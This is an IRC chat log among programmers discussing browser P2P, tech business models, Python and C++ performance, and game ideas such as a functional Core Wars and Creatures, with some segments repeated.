[2015-05-03T21:56:19-0400] <+awe> bob_twinkles: it doesn't have to be that accurate.
[2015-05-03T21:56:40-0400] <+awe> bob_twinkles: people are satisfied with just getting on skype and starting them at "the same time"
[2015-05-03T21:56:58-0400] <bob_twinkles> still nontivial over possibly-unreliable network connections though
[2015-05-03T21:57:09-0400] <bob_twinkles> especially since I don't think you can do P2P well in a browser...
[2015-05-03T21:57:22-0400] <+awe> They use silverlight?
[2015-05-03T21:57:32-0400] <+awe> Although, now they use HTML5 in Safari and maybe some other browsers
[2015-05-03T21:57:46-0400] <jwoglom> yeah they're transitioning to html5 which is pretty nice
[2015-05-03T21:57:46-0400] <bob_twinkles> still sandboxed, I don't know if they could do NAT punchthrough and whatnot
[2015-05-03T21:58:00-0400] <bob_twinkles> that's even less likely to allow P2P stuff
[2015-05-03T21:58:14-0400] <+awe> Nah, I'm pretty sure you can do NAT holepunching in silverlight.
[2015-05-03T21:58:34-0400] <+awe> I'm pretty sure there was a silverlight p2p streaming video player at some point.
[2015-05-03T21:59:48-0400] <bob_twinkles> my quick google search basically says "no, you can't do p2p in silverlight"
[2015-05-03T21:59:51-0400] <+awe> Really?
[2015-05-03T21:59:57-0400] <bob_twinkles> https://social.msdn.microsoft.com/Forums/silverlight/en-US/e206b0d7-a558-4c8e-be92-7e0b92a4d347/peer-to-peer-video-chat?forum=silverlightarchieve
[2015-05-03T21:59:57-0400] <+awe> Maybe it was a flash video player then.
[2015-05-03T22:00:14-0400] <bob_twinkles> yeah, looks like flash actually has p2p support
[2015-05-03T22:00:36-0400] <assface> yeah via WebRTC
[2015-05-03T22:00:38-0400] <bob_twinkles> except Adobe broke it at some point and never bothered to fix it
[2015-05-03T22:00:41-0400] <jwoglom> it could just sync up the timing, no?
[2015-05-03T22:00:46-0400] <+awe> Yeah.
[2015-05-03T22:00:50-0400] <jwoglom> doesn't have to be p2p
[2015-05-03T22:00:51-0400] <+awe> That was what I was thinking, jwoglom.
[2015-05-03T22:01:12-0400] <bob_twinkles> still requires them to throw infrastructure at it though
[2015-05-03T22:01:33-0400] <jwoglom> i think it's more likely that they'd collaborate with google or skype 
[2015-05-03T22:01:42-0400] <jwoglom> and build in support for netflix watching into those applications
[2015-05-03T22:01:43-0400] <assface> or just set up WebRTC
[2015-05-03T22:01:49-0400] <bob_twinkles> like, they could do it for sure
[2015-05-03T22:01:50-0400] <assface> which is already in like every browser
[2015-05-03T22:01:51-0400] <jwoglom> (requiring that both users log in with their netflix accounts)
[2015-05-03T22:02:05-0400] <bob_twinkles> but there's no buisiness reason to do it really, and it'll cost them
[2015-05-03T22:02:10-0400] <+awe> Built-in Netflix watching in Skype would be dope as hell.
[2015-05-03T22:02:21-0400] <LittleBobbyTables> awe: write it for them and sell it
[2015-05-03T22:02:31-0400] <bob_twinkles> that would likely be a partnership with Skype which already doesn't money
[2015-05-03T22:02:39-0400] <+awe> Skype is Microsoft.
[2015-05-03T22:02:42-0400] <+awe> Microsoft has buttloads of money.
[2015-05-03T22:02:47-0400] <bob_twinkles> that doesn't mean it's making money
[2015-05-03T22:02:52-0400] <bob_twinkles> and they want to keep it =P
[2015-05-03T22:02:52-0400] <jwoglom> either MS or Google would probably do all the implentation theirselves
[2015-05-03T22:03:02-0400] <assface> since when do tech companies have to turn profits to be successful?
[2015-05-03T22:03:14-0400] <+awe> assface: they don't.
[2015-05-03T22:03:15-0400] <bob_twinkles> assface: since capitalism
[2015-05-03T22:03:26-0400] <+awe> assface: They literally just have to get enough attention to sell out to Google or Facebook.
[2015-05-03T22:03:27-0400] <bob_twinkles> I have no idea why twitter still exists
[2015-05-03T22:03:36-0400] <assface> awe: that's the joke
[2015-05-03T22:03:47-0400] <+awe> I know. :p
[2015-05-03T22:03:49-0400] <+awe> I was agreeing.
[2015-05-03T22:04:00-0400] <jwoglom> twitter still exists because it's relevant
[2015-05-03T22:04:11-0400] <bob_twinkles> in any case, if google or MS approached Netflix about streaming integration I'm sure they'd be happy to work something out
[2015-05-03T22:04:11-0400] <jwoglom> and has become pretty popular with advertisers and the like
[2015-05-03T22:04:13-0400] <+awe> Twitter still exists because you don't actually need to turn a profit if you provide something useful.
[2015-05-03T22:04:14-0400] <jwoglom> they still don't turn a profit though
[2015-05-03T22:04:28-0400] <bob_twinkles> aren't they actively losing money?
[2015-05-03T22:04:30-0400] <LittleBobbyTables> Twitter is used by 11% of internet users
[2015-05-03T22:04:40-0400] <+awe> Amazon also doesn't turn a profit, you know.
[2015-05-03T22:04:48-0400] <LittleBobbyTables> It does
[2015-05-03T22:04:49-0400] <jwoglom> they turn a profit
[2015-05-03T22:04:52-0400] <LittleBobbyTables> Just barely
[2015-05-03T22:04:54-0400] <jwoglom> but they invest all of their profits into themselves
[2015-05-03T22:04:58-0400] <jwoglom> if that makes any sense
[2015-05-03T22:04:59-0400] <+awe> Many quarters they go red.
[2015-05-03T22:05:06-0400] <jwoglom> that's part of their strategy
[2015-05-03T22:05:07-0400] <+awe> Yes, I know why.
[2015-05-03T22:05:18-0400] <+awe> They invest all their money in infrastructure, rather than turning profits.
[2015-05-03T22:05:32-0400] <+awe> It's allowed them to become the biggest retail monopoly to ever exist.
[2015-05-03T22:05:53-0400] <+awe> Amazon *is* online retailing.
[2015-05-03T22:07:04-0400] <bob_twinkles> but Etsy! and... some other random small shit!
[2015-05-03T22:07:47-0400] <+awe> But yeah, seriously, you don't actually need to turn a profit as a tech company as long as what you do is useful.
[2015-05-03T22:12:34-0400] <z3t> I disagree but I'm too tired to deal with you 
[2015-05-03T22:13:23-0400] <jwoglom> honestly, i feel like we're in the middle of another dot-com bubble
[2015-05-03T22:13:46-0400] <jwoglom> it's going to burst when people realize that companies with tons of users but no legitimate business or revenue stream don't make money
[2015-05-03T22:14:39-0400] <LittleBobbyTables> z3t: that sounds like Jacob logic.
[2015-05-03T22:19:22-0400] <z3t> question for python people,if I have something like https://gist.github.com/anonymous/ec6a29eb37ff611ed34b - if there's an error on thing1(), will it run thing2()
[2015-05-03T22:19:39-0400] <+awe> jwoglom: oh, yes, most definitely.
[2015-05-03T22:19:45-0400] <bob_twinkles> no
[2015-05-03T22:19:48-0400] <bob_twinkles> @z3t
[2015-05-03T22:19:53-0400] <bob_twinkles> it's just like Java exceptions
[2015-05-03T22:20:17-0400] <LittleBobbyTables> It depends on the error
[2015-05-03T22:20:19-0400] <LittleBobbyTables> actually
[2015-05-03T22:20:25-0400] <LittleBobbyTables> Because Python runs through some errors
[2015-05-03T22:20:30-0400] <LittleBobbyTables> And doesn't give a fuck
[2015-05-03T22:20:41-0400] <bob_twinkles> if the error is a warning yeah
[2015-05-03T22:20:45-0400] <bob_twinkles> ... fucking python
[2015-05-03T22:20:55-0400] <LittleBobbyTables> lol
[2015-05-03T22:21:00-0400] <+awe> z3t: To clarify, I don't think every company can do it, but something like Twitter *will* continue to exist.
[2015-05-03T22:21:06-0400] <bob_twinkles> I think I've gotten over my honeymoon period with python =P
[2015-05-03T22:21:06-0400] <alokpathy> jwoglom: Yeah, that's basically what's happening
[2015-05-03T22:21:12-0400] <bob_twinkles> it was great for awhile and now it's just annoying
[2015-05-03T22:21:29-0400] <jwoglom> bob_twinkles: what language do you have a crush on now? :P
[2015-05-03T22:21:34-0400] <bob_twinkles> Haskell
[2015-05-03T22:21:55-0400] <LittleBobbyTables> So you go from something amazing to its retarded cousin
[2015-05-03T22:22:06-0400] <LittleBobbyTables> Not even cousin
[2015-05-03T22:22:25-0400] <bob_twinkles> things actually compose in haskell though
[2015-05-03T22:22:48-0400] <bob_twinkles> I can't map over a zipped thing without throwing in a list() and tossing allocations everywhere
[2015-05-03T22:23:01-0400] <LittleBobbyTables> how so
[2015-05-03T22:23:28-0400] <+awe> bob_twinkles: I'm in a weird place with Scala right now.
[2015-05-03T22:23:51-0400] <+awe> bob_twinkles: I like it more than I should, but there's so many warts and I'm surprised that I'm already pissed off about them given I've really just started using the language.
[2015-05-03T22:23:53-0400] <z3t> bob_twinkles: so would the best approach be to just have two try/except blocks
[2015-05-03T22:24:11-0400] <bob_twinkles> z3t: if you need to make sure both things run, yeah
[2015-05-03T22:24:21-0400] <LittleBobbyTables> z3t: why not try/except inside thing 1
[2015-05-03T22:24:44-0400] <bob_twinkles> I'd like to learn Scala but I haven't had a good excuse yet...
[2015-05-03T22:25:15-0400] <bob_twinkles> though I have been sorta getting back in to MC modding and Forge _does_ have good scala support...
[2015-05-03T22:25:27-0400] <+awe> Scala feels a lot like high-level Rust to me.
[2015-05-03T22:25:31-0400] <z3t> LittleBobbyTables: it's a method in a module that i'm calling, thing1 is just an example
[2015-05-03T22:25:50-0400] <+awe> It's the same system of purity-almost-always, functional-first, and imperative as a fallback for IO.
[2015-05-03T22:26:42-0400] <+awe> Although, obviously, in both languages, some people write really lousy code and don't do those things.
[2015-05-03T22:26:57-0400] <+awe> Some people write Scala exactly like Java but with less boilerplate.
[2015-05-03T22:27:48-0400] <bob_twinkles> I mean, you can write lousy code in any language
[2015-05-03T22:28:06-0400] <+awe> Right, of course.
[2015-05-03T22:28:29-0400] <+awe> It's just an interesting case for hybrid languages like Scala and Rust (and F#, too) where lousy code is VASTLY different than elegant code.
[2015-05-03T22:29:09-0400] <LittleBobbyTables> One thing I hate about Python is their lambda
[2015-05-03T22:29:19-0400] <z3t> in lark the only thing you can write is lousy code
[2015-05-03T22:29:21-0400] <LittleBobbyTables> It's so bad compared to others
[2015-05-03T22:29:25-0400] <+awe> z3t: Indeed.
[2015-05-03T22:29:31-0400] <+awe> LittleBobbyTables: Yes.
[2015-05-03T22:31:37-0400] <bob_twinkles> the biggest thing I dislike about python is the "ask for forgiveness, not permission" thing
[2015-05-03T22:31:52-0400] <LittleBobbyTables> They're basing it off Christianity
[2015-05-03T22:31:56-0400] <bob_twinkles> it feels dirty and I hate invoking the cost of a stack unwind on a regular basis
[2015-05-03T22:31:57-0400] <+awe> bob_twinkles: Can you clarify that a bit more?
[2015-05-03T22:31:58-0400] <bob_twinkles> lol
[2015-05-03T22:32:14-0400] <bob_twinkles> awe: idomatic python code frequently uses exceptions for flow control
[2015-05-03T22:32:15-0400] <LittleBobbyTables> "I asked God for a bike, but I know he doesn't work that way. So I stole a bike and asked for forgiveness"
[2015-05-03T22:32:30-0400] <bob_twinkles> generators are the biggest example I can think of off the top of my head
[2015-05-03T22:33:05-0400] <bob_twinkles> *efficient* python code doesn't of course, since stack unwinds suck really a lot performance wise
[2015-05-03T22:33:26-0400] <+awe> Ah, that's pretty awful.
[2015-05-03T22:36:35-0400] <LittleBobbyTables> >write python code that does a bit of IO on disk
[2015-05-03T22:36:39-0400] <LittleBobbyTables> >gets told its too slow
[2015-05-03T22:36:56-0400] <LittleBobbyTables> >40 year software engineer dude says network will bog it down anyway
[2015-05-03T22:38:00-0400] <bob_twinkles> I mean, performance is (mostly) dictated by the L1 -> L2 -> L3 -> Ram -> disk -> god help you in a lot of modern applications
[2015-05-03T22:38:27-0400] <bob_twinkles> algorithmic optimization is basically just reducing the amount of those things you need to do
[2015-05-03T22:38:45-0400] <LittleBobbyTables> When it's going to be constantly streamed and dealing with billions of requests an hour
[2015-05-03T22:39:05-0400] <LittleBobbyTables> network is def. going to be the hog, especially when it's through something shared
[2015-05-03T22:39:33-0400] <LittleBobbyTables> http://gyazo.com/dddc308fd3a0071498c29285f3c635ba
[2015-05-03T22:39:37-0400] <LittleBobbyTables> GREAT REVIEW GUY THANKS
[2015-05-03T22:39:58-0400] <bob_twinkles> lol
[2015-05-03T22:40:23-0400] <bob_twinkles> actually at that scale you need to find a way to set things up so you're bound by RAM bandwidth =P
[2015-05-03T22:41:13-0400] <bob_twinkles> python (probably) won't cut it the 200k requests per second scale
[2015-05-03T22:41:27-0400] <bob_twinkles> you might be able to do it with pypy or similar dark magics though
[2015-05-03T22:41:48-0400] <LittleBobbyTables> It was a PoC spit out in a day
[2015-05-03T22:42:00-0400] <LittleBobbyTables> Just to show the people at the status meeting the next day that we had something working
[2015-05-03T22:43:55-0400] <bob_twinkles> in that case... fuckit, it's not going to have to work for more than 24 hours =P
[2015-05-03T22:44:27-0400] <LittleBobbyTables> lol
[2015-05-03T22:44:40-0400] <LittleBobbyTables> Rewriting it to C++
[2015-05-03T22:44:48-0400] <LittleBobbyTables> First actual project in it
[2015-05-03T22:44:57-0400] <LittleBobbyTables> And there's nothing as nice as urllib ;(
[2015-05-03T22:47:34-0400] <bob_twinkles> you personally are trying to write a 200k RPS service as your first C++ project?
[2015-05-03T22:48:07-0400] <LittleBobbyTables> Yep
[2015-05-03T22:48:19-0400] <LittleBobbyTables> The optimizing thing won't be done by me
[2015-05-03T22:48:27-0400] <LittleBobbyTables> I just need to:
[2015-05-03T22:48:29-0400] <LittleBobbyTables> download data
[2015-05-03T22:48:31-0400] <LittleBobbyTables> read data
[2015-05-03T22:48:35-0400] <LittleBobbyTables> replace IPs with something else
[2015-05-03T22:48:49-0400] <bob_twinkles> I'm not gonna say you can't do it but uh... that's not exactly the usual intro level project
[2015-05-03T22:48:49-0400] <LittleBobbyTables> write data (with changed IPs) to disk for uploading later
[2015-05-03T22:49:49-0400] <bob_twinkles> getting that to go fast is likely going to be interesting
[2015-05-03T22:51:19-0400] <LittleBobbyTables> Any suggestions
[2015-05-03T22:51:35-0400] <bob_twinkles> don't allocate
[2015-05-03T22:51:37-0400] <bob_twinkles> ever
[2015-05-03T22:51:43-0400] <bob_twinkles> well I mean, you can at startup
[2015-05-03T22:52:08-0400] <bob_twinkles> but other than that, allocations in tight loops *really* suck performance wis
[2015-05-03T22:52:10-0400] <bob_twinkles> e
[2015-05-03T22:52:45-0400] <bob_twinkles> basically after you do all your algorithmic optimizations, you do:
[2015-05-03T22:52:48-0400] <bob_twinkles> 1) profile
[2015-05-03T22:52:54-0400] <bob_twinkles> 2) improve memory access pattern in slow part
[2015-05-03T22:52:58-0400] <bob_twinkles> 3) profile to verify
[2015-05-03T22:53:00-0400] <bob_twinkles> 4) goto 1
[2015-05-03T22:55:18-0400] <bob_twinkles> obviously this advice is all modulo "random shit I've read on the internet"
[2015-05-03T22:55:30-0400] <bob_twinkles> but operf is your friend =P
[2015-05-03T23:02:46-0400] <+awe> bob_twinkles: allocations in tight loops suck even more when you've got a GC.
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[2015-05-03T22:38:27-0400] <bob_twinkles> algorithmic optimization is basically just reducing the amount of those things you need to do
[2015-05-03T22:38:45-0400] <LittleBobbyTables> When it's going to be constantly streamed and dealing with billions of requests an hour
[2015-05-03T22:39:05-0400] <LittleBobbyTables> network is def. going to be the hog, especially when it's through something shared
[2015-05-03T22:39:33-0400] <LittleBobbyTables> http://gyazo.com/dddc308fd3a0071498c29285f3c635ba
[2015-05-03T22:39:37-0400] <LittleBobbyTables> GREAT REVIEW GUY THANKS
[2015-05-03T22:39:58-0400] <bob_twinkles> lol
[2015-05-03T22:40:23-0400] <bob_twinkles> actually at that scale you need to find a way to set things up so you're bound by RAM bandwidth =P
[2015-05-03T22:41:13-0400] <bob_twinkles> python (probably) won't cut it the 200k requests per second scale
[2015-05-03T22:41:27-0400] <bob_twinkles> you might be able to do it with pypy or similar dark magics though
[2015-05-03T22:41:48-0400] <LittleBobbyTables> It was a PoC spit out in a day
[2015-05-03T22:42:00-0400] <LittleBobbyTables> Just to show the people at the status meeting the next day that we had something working
[2015-05-03T22:43:55-0400] <bob_twinkles> in that case... fuckit, it's not going to have to work for more than 24 hours =P
[2015-05-03T22:44:27-0400] <LittleBobbyTables> lol
[2015-05-03T22:44:40-0400] <LittleBobbyTables> Rewriting it to C++
[2015-05-03T22:44:48-0400] <LittleBobbyTables> First actual project in it
[2015-05-03T22:44:56-0400] <LittleBobbyTables> And there's nothing as nice as urllib ;(
[2015-05-03T22:47:33-0400] <bob_twinkles> you personally are trying to write a 200k RPS service as your first C++ project?
[2015-05-03T22:48:07-0400] <LittleBobbyTables> Yep
[2015-05-03T22:48:19-0400] <LittleBobbyTables> The optimizing thing won't be done by me
[2015-05-03T22:48:26-0400] <LittleBobbyTables> I just need to:
[2015-05-03T22:48:29-0400] <LittleBobbyTables> download data
[2015-05-03T22:48:31-0400] <LittleBobbyTables> read data
[2015-05-03T22:48:35-0400] <LittleBobbyTables> replace IPs with something else
[2015-05-03T22:48:49-0400] <bob_twinkles> I'm not gonna say you can't do it but uh... that's not exactly the usual intro level project
[2015-05-03T22:48:49-0400] <LittleBobbyTables> write data (with changed IPs) to disk for uploading later
[2015-05-03T22:49:49-0400] <bob_twinkles> getting that to go fast is likely going to be interesting
[2015-05-03T22:51:19-0400] <LittleBobbyTables> Any suggestions
[2015-05-03T22:51:35-0400] <bob_twinkles> don't allocate
[2015-05-03T22:51:37-0400] <bob_twinkles> ever
[2015-05-03T22:51:43-0400] <bob_twinkles> well I mean, you can at startup
[2015-05-03T22:52:08-0400] <bob_twinkles> but other than that, allocations in tight loops *really* suck performance wis
[2015-05-03T22:52:10-0400] <bob_twinkles> e
[2015-05-03T22:52:45-0400] <bob_twinkles> basically after you do all your algorithmic optimizations, you do:
[2015-05-03T22:52:48-0400] <bob_twinkles> 1) profile
[2015-05-03T22:52:54-0400] <bob_twinkles> 2) improve memory access pattern in slow part
[2015-05-03T22:52:58-0400] <bob_twinkles> 3) profile to verify
[2015-05-03T22:53:00-0400] <bob_twinkles> 4) goto 1
[2015-05-03T22:55:18-0400] <bob_twinkles> obviously this advice is all modulo "random shit I've read on the internet"
[2015-05-03T22:55:30-0400] <bob_twinkles> but operf is your friend =P
[2015-05-03T23:02:46-0400] <+awe> bob_twinkles: allocations in tight loops suck even more when you've got a GC.
[2015-05-03T23:03:04-0400] <bob_twinkles> *glares at minecraft*
[2015-05-03T23:03:27-0400] <bob_twinkles> fucking like...  200 MB/s allocations in some circumstances
[2015-05-03T23:03:37-0400] <bob_twinkles> who thought that was a good and OK thing
[2015-05-03T23:23:04-0400] <LittleBobbyTables> bob_twinkles: I meant on the non-optimization part
[2015-05-03T23:24:29-0400] <LittleBobbyTables> http://www.cbs46.com/story/28946558/student-sets-fire-in-computer-lab-after-failing-to-hack-school-computers
[2015-05-03T23:24:38-0400] <bob_twinkles> lol w hat
[2015-05-03T23:25:00-0400] <bob_twinkles> uh... I'd probably have to know more about the problem to really give good advice on general app structure
[2015-05-03T23:25:26-0400] <LittleBobbyTables> That's pretty much all of it
[2015-05-03T23:25:40-0400] <LittleBobbyTables> excluding details like what I'm using it on and whatnot
[2015-05-03T23:25:57-0400] <bob_twinkles> those are kinda important =P
[2015-05-03T23:26:25-0400] Mode is +nrt
[2015-05-03T23:26:56-0400] <LittleBobbyTables> I can't tell you that though
[2015-05-03T23:27:09-0400] <LittleBobbyTables> It's data we own, and I'm pulling it from there.
[2015-05-03T23:27:22-0400] <LittleBobbyTables> Don't ask "why not change it on the fly instead of this dumb app", because idk.
[2015-05-03T23:27:59-0400] <bob_twinkles> hmm...
[2015-05-03T23:28:18-0400] <bob_twinkles> my initial thought is basically 1 of 2 solutions
[2015-05-03T23:28:37-0400] <bob_twinkles> 1) you have N threads doing the same thing (basically the fetch/process/dump cycle)
[2015-05-03T23:29:25-0400] <bob_twinkles> 2) you have N fetching threads, M processing threads, and O writeout threads, where N, O << M
[2015-05-03T23:30:16-0400] <bob_twinkles> in the second scheme you'd basically have the fetching threads read in to a shared memory buffer which the processing threads consume and write out to another shared memory buffer for the writeout threads
[2015-05-03T23:30:36-0400] <bob_twinkles> I'm really not sure which one would be faster, or even if there's a better way to do it that I'm not aware of
[2015-05-03T23:31:30-0400] <bob_twinkles> there's probably plenty of literature out there talking about this sort of thing but my head hurts too much right now to try and find it
[2015-05-03T23:31:37-0400] <bob_twinkles> 0/10 would not recommend going to bed at 0600
[2015-05-03T23:31:39-0400] <+awe> Solution 2 sounds more scalable.
[2015-05-03T23:31:58-0400] <LittleBobbyTables> Optimization parts aren't that necessary
[2015-05-03T23:32:11-0400] <LittleBobbyTables> For now, at least.
[2015-05-03T23:32:42-0400] <bob_twinkles> right but at 200k RPS you need to think about performance at least a little bit when designing the applicatoin
[2015-05-03T23:32:44-0400] <bob_twinkles> *application
[2015-05-03T23:33:04-0400] <bob_twinkles> considering improperly configured nginx on a decently powerful machine might not even hit that target...
[2015-05-03T23:33:29-0400] <LittleBobbyTables> We have no blocks at all between internal appliations
[2015-05-03T23:33:37-0400] <LittleBobbyTables> It's terrible, but it's true.
[2015-05-03T23:33:57-0400] <+awe> On the other hand, LittleBobbyTables's momma is so performant that she handles well over 200k RPS.
[2015-05-03T23:34:03-0400] <bob_twinkles> even if you did that would hopefully be hardware firewall rules on a manged switched...
[2015-05-03T23:34:20-0400] <bob_twinkles> awe: I found that way funnier than I should have, thanks
[2015-05-03T23:35:00-0400] <+awe> You're welcome. I try.
[2015-05-03T23:35:25-0400] <+awe> bob_twinkles: you've heard of Core Wars, right?
[2015-05-03T23:35:30-0400] <LittleBobbyTables> awe: wanna buy me a clc/ssd? M3
[2015-05-03T23:35:30-0400] <LittleBobbyTables> <3
[2015-05-03T23:35:31-0400] <bob_twinkles> I think so?
[2015-05-03T23:35:39-0400] <bob_twinkles> it's one of those AI programming competitions right?
[2015-05-03T23:35:46-0400] <+awe> Not quite AI, but yeah.
[2015-05-03T23:35:58-0400] <+awe> You write small assembly programs that try to beat each other.
[2015-05-03T23:36:03-0400] <+awe> I guess it's sort of simplistic AI.
[2015-05-03T23:36:35-0400] <+awe> Anyway, I'm trying to think of a way that I can do something similar but with some sort of simple functional language.
[2015-05-03T23:36:40-0400] <+awe> JacobEdelman suggested STLC.
[2015-05-03T23:37:02-0400] <+awe> But I'm still trying to figure out what that might look like, and how the actual game mechanics would work.
[2015-05-03T23:37:23-0400] <+awe> So, I was wondering if you had any thoughts.
[2015-05-03T23:39:07-0400] <LittleBobbyTables> Do I get to make money off it?
[2015-05-03T23:39:24-0400] <+awe> Probably not.
[2015-05-03T23:39:34-0400] <LittleBobbyTables> Then make that possible
[2015-05-03T23:39:36-0400] <bob_twinkles> the concept seems like it's very heavily tied to the idea of a physical machine
[2015-05-03T23:39:59-0400] <bob_twinkles> maybe see if you can find one of the proposals for "functional" hardware?
[2015-05-03T23:40:07-0400] <+awe> Yeah, I was looking at stuff like that.
[2015-05-03T23:40:13-0400] <bob_twinkles> I know they exist, but I don't  know if anyone has actually built one
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[2015-05-03T23:43:56-0400] <+awe> I think there might be a way to do it at a higher level.
[2015-05-03T23:43:58-0400] <+awe> With Lisp maybe?
[2015-05-03T23:45:39-0400] <bob_twinkles> hmm... the core of the game seems to basically be about exhausting some physical resource you share with your opponent
[2015-05-03T23:46:04-0400] <bob_twinkles> and I can't immeditely think of something like that in FP
[2015-05-03T23:46:06-0400] <+awe> My goal isn't to make the exact same game.
[2015-05-03T23:46:38-0400] <bob_twinkles> I guess the question is what do you want to take from core wars?
[2015-05-03T23:46:43-0400] <+awe> But something fundamentally related. I'd like to pit two "warrior" functional programs against one another and have some sort of rule defining victory.
[2015-05-03T23:47:24-0400] <bob_twinkles> so what can we measure about functional programs?
[2015-05-03T23:47:35-0400] <bob_twinkles> size obviously but that's not really interesting
[2015-05-03T23:47:42-0400] <+awe> And there should be some notion of one program impacting another because otherwise that's not really "warriors."
[2015-05-03T23:47:43-0400] <bob_twinkles> runtime on some problem but that's just a benchmark
[2015-05-03T23:48:25-0400] <bob_twinkles> correctness maybe?
[2015-05-03T23:48:43-0400] <bob_twinkles> like, type correctness
[2015-05-03T23:48:58-0400] <+awe> And what would they do to interact with one another?
[2015-05-03T23:48:59-0400] <bob_twinkles> where each warrior can tweak eachother
[2015-05-03T23:49:13-0400] <bob_twinkles> and you'd have to write your programs to be resilient somehow
[2015-05-03T23:49:32-0400] <bob_twinkles> the winning strategy would just be to have a bunch of noncritical noops there though...
[2015-05-03T23:51:01-0400] <+awe> Maybe this just isn't something that makes sense.
[2015-05-03T23:51:03-0400] • awe: shrugs.
[2015-05-03T23:52:58-0400] <+awe> If I didn't think it was too much of a time investment, I'd probably just try to make my Creatures clone with all the plugins and stuff done through a Scheme dialect.
[2015-05-03T23:53:54-0400] <bob_twinkles> http://en.wikipedia.org/wiki/Creatures_%28artificial_life_series%29 creatures?
[2015-05-03T23:53:58-0400] <+awe> Yes.
[2015-05-03T23:55:18-0400] <bob_twinkles> that looks really cool
[2015-05-03T23:55:27-0400] <+awe> Creatures 3 is one of my all-time favorite games.
[2015-05-03T23:55:29-0400] <bob_twinkles> I wonder if they published any papers on how it works
[2015-05-03T23:56:02-0400] <+awe> http://mrl.snu.ac.kr/courses/CourseSyntheticCharacter/grand96creatures.pdf
[2015-05-03T23:56:33-0400] <bob_twinkles> *adds to already overlong list of things to read*
[2015-05-03T23:56:56-0400] <+awe> The thing that I love about this game is that not only is it absolutely brilliant in terms of technical design, it's also fantastically fun.
[2015-05-03T23:58:55-0400] <bob_twinkles> seems like a really interesting concept
[2015-05-04T00:00:23-0400] <+awe> They're really complex creatures. You can do gene manipulation and stuff.
[2015-05-04T00:00:48-0400] <+awe> They have their own biochemistry, etc.
[2015-05-04T00:01:49-0400] <bob_twinkles> sounds like a lot of fun  but I *really* don't need another time sink
[2015-05-04T00:02:05-0400] <kenzierocks> bob_twinkles: how about a time lord
[2015-05-04T00:03:26-0400] <bob_twinkles> hell no those take even more time than a time sink
[2015-05-04T00:06:08-0400] <+awe> bob_twinkles: I've wanted to make my own version of it for years though. So, I guess it's a long-running goal.
[2015-05-04T00:07:01-0400] <+awe> I "started" once.
[2015-05-04T00:07:34-0400] <+awe> I got some basic game infrastructure in C++, I tried to figure out how to embed V8, couldn't, and then gave up.
[2015-05-04T00:07:39-0400] <+awe> That being said, I was p nubby at the time.
[2015-05-04T00:08:55-0400] <bob_twinkles> as evidinced by your choice of VS over lua/python =P
[2015-05-04T00:09:16-0400] <bob_twinkles> *VB
[2015-05-04T00:09:20-0400] <+awe> No, V8.
[2015-05-04T00:09:21-0400] <+awe> As in JS.
[2015-05-04T00:09:31-0400] <bob_twinkles> oh, fonts are hard
[2015-05-04T00:10:24-0400] <bob_twinkles> still, lua is probably the best choice for game scripting since the language was essentially designed from the ground up for that purpose
[2015-05-04T00:29:55-0400] <+awe> Yeah, maybe.
[2015-05-04T00:30:06-0400] <+awe> I don't remember why I wanted JS over Lua.
[2015-05-04T00:31:17-0400] <+awe> I'd probably do Lua or a custom Scheme dialect now.
[2015-05-04T00:31:39-0400] <bob_twinkles> have you heard of Limit Theory?
[2015-05-04T00:31:59-0400] <+awe> Yeah, I saw the kickstarter for it.
[2015-05-04T00:32:32-0400] <bob_twinkles> I'm pretty sure the guy who is writing it is insane
[2015-05-04T00:32:44-0400] <bob_twinkles> the rending engine is like AAA quality
[2015-05-04T00:33:15-0400] <bob_twinkles> and almost all the game logic is going to be in "LTSL" which is his own custom Lisp-like thingy
[2015-05-04T00:33:41-0400] <bob_twinkles> everything from the UI/UX specification to the AI is in LTSL
[2015-05-04T00:34:05-0400] <bob_twinkles> he has some pretty neat writeups about it scattered across the forums
[2015-05-04T02:05:43-0400] <LittleBobbyTables> What's the fizzbuzz in lark
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[2015-05-04T07:17:39-0400] <JacobEdelman> gmorning all
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[2015-05-04T09:26:08-0400] <JacobEdelman> LittleBobbyTables: 
[2015-05-04T09:26:41-0400] <JacobEdelman> https://www.irccloud.com/pastebin/Eo9moeTW
[2015-05-04T09:26:41-0400] <JacobEdelman> https://www.irccloud.com/pastebin/GTltFfKo
[2015-05-04T09:26:50-0400] <JacobEdelman> (those are dumb ways to do it)
[2015-05-04T09:27:09-0400] <JacobEdelman> (also, no strings yet)
[2015-05-04T09:36:29-0400] <JacobEdelman> wait
[2015-05-04T09:36:34-0400] <JacobEdelman> here's a nicer version:
[2015-05-04T09:36:36-0400] <JacobEdelman> https://www.irccloud.com/pastebin/3QPcrpef
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[2015-05-04T11:57:36-0400] Set by awe on April 26, 2015 at 12:20:05 AM EDT
[2015-05-03T23:55:59-0400] <+awe> http://mrl.snu.ac.kr/courses/CourseSyntheticCharacter/grand96creatures.pdf
[2015-05-03T23:56:30-0400] <bob_twinkles> *adds to already overlong list of things to read*
[2015-05-03T23:56:54-0400] <+awe> The thing that I love about this game is that not only is it absolutely brilliant in terms of technical design, it's also fantastically fun.
[2015-05-03T23:58:52-0400] <bob_twinkles> seems like a really interesting concept
[2015-05-04T00:00:20-0400] <+awe> They're really complex creatures. You can do gene manipulation and stuff.
[2015-05-04T00:00:45-0400] <+awe> They have their own biochemistry, etc.
[2015-05-04T00:01:46-0400] <bob_twinkles> sounds like a lot of fun  but I *really* don't need another time sink
[2015-05-04T00:02:03-0400] <kenzierocks> bob_twinkles: how about a time lord
[2015-05-04T00:03:23-0400] <bob_twinkles> hell no those take even more time than a time sink
[2015-05-04T00:06:05-0400] <+awe> bob_twinkles: I've wanted to make my own version of it for years though. So, I guess it's a long-running goal.
[2015-05-04T00:06:58-0400] <+awe> I "started" once.
[2015-05-04T00:07:32-0400] <+awe> I got some basic game infrastructure in C++, I tried to figure out how to embed V8, couldn't, and then gave up.
[2015-05-04T00:07:36-0400] <+awe> That being said, I was p nubby at the time.
[2015-05-04T00:08:52-0400] <bob_twinkles> as evidinced by your choice of VS over lua/python =P
[2015-05-04T00:09:13-0400] <bob_twinkles> *VB
[2015-05-04T00:09:17-0400] <+awe> No, V8.
[2015-05-04T00:09:19-0400] <+awe> As in JS.
[2015-05-04T00:09:28-0400] <bob_twinkles> oh, fonts are hard
[2015-05-04T00:10:21-0400] <bob_twinkles> still, lua is probably the best choice for game scripting since the language was essentially designed from the ground up for that purpose
[2015-05-04T00:29:53-0400] <+awe> Yeah, maybe.
[2015-05-04T00:30:03-0400] <+awe> I don't remember why I wanted JS over Lua.
[2015-05-04T00:31:14-0400] <+awe> I'd probably do Lua or a custom Scheme dialect now.
